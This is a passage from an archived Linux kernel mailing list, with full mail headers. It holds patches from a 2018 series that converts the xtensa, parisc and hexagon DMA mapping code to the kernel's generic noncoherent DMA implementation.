+		do_cache_op(paddr, size, __invalidate_dcache_range);
 		break;
 
 	case DMA_NONE:
@@ -68,15 +65,14 @@ static void xtensa_sync_single_for_cpu(struct device *dev,
 	}
 }
 
-static void xtensa_sync_single_for_device(struct device *dev,
-					  dma_addr_t dma_handle, size_t size,
-					  enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
 	case DMA_TO_DEVICE:
 		if (XCHAL_DCACHE_IS_WRITEBACK)
-			do_cache_op(dma_handle, size, __flush_dcache_range);
+			do_cache_op(paddr, size, __flush_dcache_range);
 		break;
 
 	case DMA_NONE:
@@ -88,40 +84,13 @@ static void xtensa_sync_single_for_device(struct device *dev,
 	}
 }
 
-static void xtensa_sync_sg_for_cpu(struct device *dev,
-				   struct scatterlist *sg, int nents,
-				   enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_sync_single_for_cpu(dev, sg_dma_address(s),
-					   sg_dma_len(s), dir);
-	}
-}
-
-static void xtensa_sync_sg_for_device(struct device *dev,
-				      struct scatterlist *sg, int nents,
-				      enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_sync_single_for_device(dev, sg_dma_address(s),
-					      sg_dma_len(s), dir);
-	}
-}
-
 /*
  * Note: We assume that the full memory space is always mapped to 'kseg'
  *	 Otherwise we have to use page attributes (not implemented).
  */
 
-static void *xtensa_dma_alloc(struct device *dev, size_t size,
-			      dma_addr_t *handle, gfp_t flag,
-			      unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+		gfp_t flag, unsigned long attrs)
 {
 	unsigned long ret;
 	unsigned long uncached;
@@ -171,8 +140,8 @@ static void *xtensa_dma_alloc(struct device *dev, size_t size,
 	return (void *)uncached;
 }
 
-static void xtensa_dma_free(struct device *dev, size_t size, void *vaddr,
-			    dma_addr_t dma_handle, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
 	unsigned long addr = (unsigned long)vaddr;
@@ -192,72 +161,3 @@ static void xtensa_dma_free(struct device *dev, size_t size, void *vaddr,
 	if (!dma_release_from_contiguous(dev, page, count))
 		__free_pages(page, get_order(size));
 }
-
-static dma_addr_t xtensa_map_page(struct device *dev, struct page *page,
-				  unsigned long offset, size_t size,
-				  enum dma_data_direction dir,
-				  unsigned long attrs)
-{
-	dma_addr_t dma_handle = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		xtensa_sync_single_for_device(dev, dma_handle, size, dir);
-
-	return dma_handle;
-}
-
-static void xtensa_unmap_page(struct device *dev, dma_addr_t dma_handle,
-			      size_t size, enum dma_data_direction dir,
-			      unsigned long attrs)
-{
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		xtensa_sync_single_for_cpu(dev, dma_handle, size, dir);
-}
-
-static int xtensa_map_sg(struct device *dev, struct scatterlist *sg,
-			 int nents, enum dma_data_direction dir,
-			 unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = xtensa_map_page(dev, sg_page(s), s->offset,
-						 s->length, dir, attrs);
-	}
-	return nents;
-}
-
-static void xtensa_unmap_sg(struct device *dev,
-			    struct scatterlist *sg, int nents,
-			    enum dma_data_direction dir,
-			    unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nents, i) {
-		xtensa_unmap_page(dev, sg_dma_address(s),
-				  sg_dma_len(s), dir, attrs);
-	}
-}
-
-int xtensa_dma_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return 0;
-}
-
-const struct dma_map_ops xtensa_dma_map_ops = {
-	.alloc = xtensa_dma_alloc,
-	.free = xtensa_dma_free,
-	.map_page = xtensa_map_page,
-	.unmap_page = xtensa_unmap_page,
-	.map_sg = xtensa_map_sg,
-	.unmap_sg = xtensa_unmap_sg,
-	.sync_single_for_cpu = xtensa_sync_single_for_cpu,
-	.sync_single_for_device = xtensa_sync_single_for_device,
-	.sync_sg_for_cpu = xtensa_sync_sg_for_cpu,
-	.sync_sg_for_device = xtensa_sync_sg_for_device,
-	.mapping_error = xtensa_dma_mapping_error,
-};
-EXPORT_SYMBOL(xtensa_dma_map_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 23/25] parisc: merge pcx_dma_ops and pcxl_dma_ops
Date: Tue, 22 May 2018 14:04:28 +0200
Lines: 201
Approved: news@gmane.org
Message-ID: <20180522120430.28709-24-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990706 31512 195.159.176.226 (22 May 2018 12:05:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:05:06 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:05:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL62F-00081C-Rr
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:05:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751495AbeEVMHI (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:07:08 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:55666 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752760AbeEVMGN (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:06:13 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=pgoTNyGPaQn4ahamtCBnigcXY+CB925hO659TYFYURY=; b=runVb4aBPbYesLb1yzWn+GEg+
        aAQnxrzj+QCzxMdmDc6MGnswx1tKWl7SPlARTMTe17mVrc8ht0wl8qO7j8Q8VHcO06ReBJo6lXn4n
        xhRfw9r179Cu1wGvYtqzC5q2YRAGFyfhsY7tlMaL1e/Qd3yac3ZHh0BhDu6LzI8yQ3d155GZby3d3
        HomnXcx4iiURip9f/rnr0vQgAyHzrx13/BEAihBmTHGsFXHlfuM4cPh3MYikZQ8GhLbUpFVERHvqH
        8DZ6FzhxJ6DveGQ7ICxldqGBJihyHkGQ0GH5cH8yR2OWOoJTRxrrYKa+waE5O0Es8spaiOyA9jXfT
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL63C-0001WO-Gi; Tue, 22 May 2018 12:05:59 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773754 gmane.linux.kernel.iommu:24488 gmane.linux.kernel.cross-arch:44297 gmane.linux.ports.alpha:5077 gmane.linux.kernel.arc:3933 gmane.linux.ports.arm.kernel:652016 gmane.linux.ports.hexagon:1756 gmane.linux.ports.parisc:28650 gmane.linux.ports.sh.devel:57068 gmane.linux.ports.sparc:27905
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773754>

The only difference is that pcxl supports dma coherent allocations, while
pcx only supports non-consistent allocations and otherwise fails.

But dma_alloc* is not in the fast path, and merging these two allows an
easy migration path to the generic dma-noncoherent implementation, so
do it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/parisc/include/asm/dma-mapping.h |  3 +-
 arch/parisc/kernel/pci-dma.c          | 80 ++++++++++++---------------
 arch/parisc/kernel/setup.c            |  8 +--
 arch/parisc/mm/init.c                 | 11 +---
 4 files changed, 43 insertions(+), 59 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 01e1fc057c83..eeec8dd18e74 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -22,8 +22,7 @@
 */
 
 #ifdef CONFIG_PA11
-extern const struct dma_map_ops pcxl_dma_ops;
-extern const struct dma_map_ops pcx_dma_ops;
+extern const struct dma_map_ops pa11_dma_ops;
 #endif
 
 extern const struct dma_map_ops *hppa_dma_ops;
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index 91bc0cac03a1..52304cb290f9 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -408,7 +408,7 @@ pcxl_dma_init(void)
 
 __initcall(pcxl_dma_init);
 
-static void *pa11_dma_alloc(struct device *dev, size_t size,
+static void *pcxl_dma_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
 {
 	unsigned long vaddr;
@@ -435,16 +435,44 @@ static void *pa11_dma_alloc(struct device *dev, size_t size,
 	return (void *)vaddr;
 }
 
+static void *pcx_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
+{
+	void *addr;
+
+	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
+		return NULL;
+
+	addr = (void *)__get_free_pages(flag, get_order(size));
+	if (addr)
+		*dma_handle = (dma_addr_t)virt_to_phys(addr);
+
+	return addr;
+}
+
+static void *pa11_dma_alloc(struct device *dev, size_t size,
+		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+{
+
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl)
+		return pcxl_dma_alloc(dev, size, dma_handle, gfp, attrs);
+	else
+		return pcx_dma_alloc(dev, size, dma_handle, gfp, attrs);
+}
+
 static void pa11_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
-	int order;
+	int order = get_order(size);
 
-	order = get_order(size);
-	size = 1 << (order + PAGE_SHIFT);
-	unmap_uncached_pages((unsigned long)vaddr, size);
-	pcxl_free_range((unsigned long)vaddr, size);
-	free_pages((unsigned long)__va(dma_handle), order);
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
+		size = 1 << (order + PAGE_SHIFT);
+		unmap_uncached_pages((unsigned long)vaddr, size);
+		pcxl_free_range((unsigned long)vaddr, size);
+
+		vaddr = __va(dma_handle);
+	}
+	free_pages((unsigned long)vaddr, get_order(size));
 }
 
 static dma_addr_t pa11_dma_map_page(struct device *dev, struct page *page,
@@ -573,7 +601,7 @@ static void pa11_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
 	flush_kernel_dcache_range((unsigned long)vaddr, size);
 }
 
-const struct dma_map_ops pcxl_dma_ops = {
+const struct dma_map_ops pa11_dma_ops = {
 	.alloc =		pa11_dma_alloc,
 	.free =			pa11_dma_free,
 	.map_page =		pa11_dma_map_page,
@@ -586,39 +614,3 @@ const struct dma_map_ops pcxl_dma_ops = {
 	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 	.cache_sync =		pa11_dma_cache_sync,
 };
-
-static void *pcx_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t flag, unsigned long attrs)
-{
-	void *addr;
-
-	if ((attrs & DMA_ATTR_NON_CONSISTENT) == 0)
-		return NULL;
-
-	addr = (void *)__get_free_pages(flag, get_order(size));
-	if (addr)
-		*dma_handle = (dma_addr_t)virt_to_phys(addr);
-
-	return addr;
-}
-
-static void pcx_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t iova, unsigned long attrs)
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-	return;
-}
-
-const struct dma_map_ops pcx_dma_ops = {
-	.alloc =		pcx_dma_alloc,
-	.free =			pcx_dma_free,
-	.map_page =		pa11_dma_map_page,
-	.unmap_page =		pa11_dma_unmap_page,
-	.map_sg =		pa11_dma_map_sg,
-	.unmap_sg =		pa11_dma_unmap_sg,
-	.sync_single_for_cpu =	pa11_dma_sync_single_for_cpu,
-	.sync_single_for_device = pa11_dma_sync_single_for_device,
-	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
-	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
-	.cache_sync =		pa11_dma_cache_sync,
-};
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 8d3a7b80ac42..5c8450a22255 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -97,14 +97,12 @@ void __init dma_ops_init(void)
 		panic(	"PA-RISC Linux currently only supports machines that conform to\n"
 			"the PA-RISC 1.1 or 2.0 architecture specification.\n");
 
-	case pcxs:
-	case pcxt:
-		hppa_dma_ops = &pcx_dma_ops;
-		break;
 	case pcxl2:
 		pa7300lc_init();
 	case pcxl: /* falls through */
-		hppa_dma_ops = &pcxl_dma_ops;
+	case pcxs:
+	case pcxt:
+		hppa_dma_ops = &pa11_dma_ops;
 		break;
 	default:
 		break;
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index cab32ee824d2..4ad91c28ecbe 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -19,7 +19,6 @@
 #include <linux/gfp.h>
 #include <linux/delay.h>
 #include <linux/init.h>
-#include <linux/pci.h>		/* for hppa_dma_ops and pcxl_dma_ops */
 #include <linux/initrd.h>
 #include <linux/swap.h>
 #include <linux/unistd.h>
@@ -616,17 +615,13 @@ void __init mem_init(void)
 	free_all_bootmem();
 
 #ifdef CONFIG_PA11
-	if (hppa_dma_ops == &pcxl_dma_ops) {
+	if (boot_cpu_data.cpu_type == pcxl2 || boot_cpu_data.cpu_type == pcxl) {
 		pcxl_dma_start = (unsigned long)SET_MAP_OFFSET(MAP_START);
 		parisc_vmalloc_start = SET_MAP_OFFSET(pcxl_dma_start
 						+ PCXL_DMA_MAP_SIZE);
-	} else {
-		pcxl_dma_start = 0;
-		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
-	}
-#else
-	parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
+	} else
 #endif
+		parisc_vmalloc_start = SET_MAP_OFFSET(MAP_START);
 
 	mem_init_print_info(NULL);
 
-- 
2.17.0



From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 03/25] hexagon: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:08 +0200
Lines: 278
Approved: news@gmane.org
Message-ID: <20180522120430.28709-4-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526990739 1563 195.159.176.226 (22 May 2018 12:05:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:05:39 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:05:33 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL62j-0000CA-KB
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:05:30 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D417DC4F;
	Tue, 22 May 2018 12:04:59 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id D6EC7C48
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:04:58 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 286E96E8
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:04:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=S2vNJMVQYUxGLIC94RRhfKqiKMtegCnQW0tFrc72hC4=;
	b=FMQm5gJr06qLVH4GYURRkSHdm
	kosPdfA2CZJWRdYyIZ/XjIsDLaIoa35173GMM/rikzVyIwSPtk+5z06Q4B7git902yGsFsAjCiN5r
	eLmBwrLmVoe77GN6KZEVdsjH9UuP/tO6dq8lpLp3541+dnccf+qRceYXtwYnBC6SmspniUf2TLV5x
	ttBib/eI49wT1XGKxdlXqza1fGRHZE8/A0PFOhz8TlNFvV6CPf18A1O8dyqo48nrCt6LqjksjffsL
	XlFG0Z5Mek+lNeG9PHAD89myooKd7geviMxrF3Brlf5e4mairE+k/VmTB3ozOoVkaaVdUtKaVrjjX
	vRgumsWNw==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL620-0007zT-0c; Tue, 22 May 2018 12:04:44 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24489 gmane.linux.kernel.cross-arch:44298 gmane.linux.ports.parisc:28651 gmane.linux.ports.sh.devel:57069 gmane.linux.ports.hexagon:1757 gmane.linux.kernel:2773757 gmane.linux.ports.alpha:5078 gmane.linux.ports.sparc:27906 gmane.linux.kernel.arc:3934 gmane.linux.ports.arm.kernel:652017
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24489>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/hexagon/Kconfig                   |   2 +
 arch/hexagon/include/asm/Kbuild        |   1 +
 arch/hexagon/include/asm/dma-mapping.h |  40 -------
 arch/hexagon/kernel/dma.c              | 148 ++-----------------------
 4 files changed, 11 insertions(+), 180 deletions(-)
 delete mode 100644 arch/hexagon/include/asm/dma-mapping.h

diff --git a/arch/hexagon/Kconfig b/arch/hexagon/Kconfig
index 37adb2003033..bcbdcb32935c 100644
--- a/arch/hexagon/Kconfig
+++ b/arch/hexagon/Kconfig
@@ -4,6 +4,7 @@ comment "Linux Kernel Configuration for Hexagon"
 
 config HEXAGON
 	def_bool y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select HAVE_OPROFILE
 	# Other pending projects/to-do items.
 	# select HAVE_REGS_AND_STACK_ACCESS_API
@@ -28,6 +29,7 @@ config HEXAGON
 	select GENERIC_CLOCKEVENTS_BROADCAST
 	select MODULES_USE_ELF_RELA
 	select GENERIC_CPU_DEVICES
+	select DMA_NONCOHERENT_OPS
 	---help---
 	  Qualcomm Hexagon is a processor architecture designed for high
 	  performance and low power across a wide variety of applications.
diff --git a/arch/hexagon/include/asm/Kbuild b/arch/hexagon/include/asm/Kbuild
index e9743f689fb8..843a8086e980 100644
--- a/arch/hexagon/include/asm/Kbuild
+++ b/arch/hexagon/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += bugs.h
 generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += extable.h
 generic-y += fb.h
diff --git a/arch/hexagon/include/asm/dma-mapping.h b/arch/hexagon/include/asm/dma-mapping.h
deleted file mode 100644
index 263f6acbfb0f..000000000000
--- a/arch/hexagon/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * DMA operations for the Hexagon architecture
- *
- * Copyright (c) 2010-2011, The Linux Foundation. All rights reserved.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 and
- * only version 2 as published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
- * 02110-1301, USA.
- */
-
-#ifndef _ASM_DMA_MAPPING_H
-#define _ASM_DMA_MAPPING_H
-
-#include <linux/types.h>
-#include <linux/cache.h>
-#include <linux/mm.h>
-#include <linux/scatterlist.h>
-#include <linux/dma-debug.h>
-#include <asm/io.h>
-
-struct device;
-
-extern const struct dma_map_ops *dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return dma_ops;
-}
-
-#endif
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 9e46556a227d..ffc4ae8e126f 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -18,32 +18,19 @@
  * 02110-1301, USA.
  */
 
-#include <linux/dma-mapping.h>
-#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/bootmem.h>
 #include <linux/genalloc.h>
-#include <asm/dma-mapping.h>
 #include <linux/module.h>
 #include <asm/page.h>
 
-#define HEXAGON_MAPPING_ERROR	0
-
-const struct dma_map_ops *dma_ops;
-EXPORT_SYMBOL(dma_ops);
-
-static inline void *dma_addr_to_virt(dma_addr_t dma_addr)
-{
-	return phys_to_virt((unsigned long) dma_addr);
-}
-
 static struct gen_pool *coherent_pool;
 
 
 /* Allocates from a pool of uncached memory that was reserved at boot time */
 
-static void *hexagon_dma_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_addr, gfp_t flag,
-				 unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_addr,
+		gfp_t flag, unsigned long attrs)
 {
 	void *ret;
 
@@ -75,58 +62,17 @@ static void *hexagon_dma_alloc_coherent(struct device *dev, size_t size,
 	return ret;
 }
 
-static void hexagon_free_coherent(struct device *dev, size_t size, void *vaddr,
-				  dma_addr_t dma_addr, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	gen_pool_free(coherent_pool, (unsigned long) vaddr, size);
 }
 
-static int check_addr(const char *name, struct device *hwdev,
-		      dma_addr_t bus, size_t size)
-{
-	if (hwdev && hwdev->dma_mask && !dma_capable(hwdev, bus, size)) {
-		if (*hwdev->dma_mask >= DMA_BIT_MASK(32))
-			printk(KERN_ERR
-				"%s: overflow %Lx+%zu of device mask %Lx\n",
